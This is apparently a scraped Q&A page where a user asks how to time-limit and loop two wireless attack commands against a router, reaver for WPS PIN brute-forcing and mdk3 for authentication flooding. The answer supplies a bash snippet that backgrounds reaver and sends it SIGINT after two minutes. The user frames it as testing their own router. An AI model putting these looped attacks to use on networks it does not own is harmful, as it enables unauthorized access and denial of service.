• Home
  • Jobs
  • coursesAndChallenges
  • Teachers
  • For business
  • Blog
  • ES/EN

0

23
Views
send control c to a linux command after specific time intervel?

Shell Scripting:

I am doing some testing on my router, I am using mdk3 and reaver utility for that.

here are the two commands:

[cmd1]  echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv    -l 230
[cmd2]  sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6

goal:

I am trying to create a shell script which will run [cmd1] for 2 minutes, then it will send the ctrl + c signal to [cmd1] so that it will save the reaver session.

then cmd2 will run for 2 minutes and this will also stop after that.

these two will be in loop.

below is the sample script which I written can you add timer to it..?

    #!/bin/bash

while :; do echo
echo "running mdk for 2 minutes";
timeout 120 sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6;

echo "mdk finished";
echo "starting reaver for 2 minutes ";

#here timeout won't work, as ctrl+c can only save the state.

//add code here to run reaver utility for two minutes and send ctrl+c to it
echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv;
 echo "reaver ran for two minutes";



done  
about 1 month ago ·

Santiago Trujillo

1 answers
Answer question

0

I'm not familiar with the reaver program, but I think the following should work,

# Run reaver as a background process (add &)
echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv &
# Save the process id.
reaverpid=$!
# Sleep 2 minutes
sleep 120
# Send SIGINT, which is what ctrl-c normally does.
kill -SIGINT $reaverpid
about 1 month ago · Santiago Trujillo Report
Answer question
Remote jobs
Loading

Discover the new way to find a job!

Top jobs
Top job categories
Business
Post job Plans Our process Startups
Legal
Terms and conditions Privacy policy
© 2022 PeakU Inc. All Rights Reserved.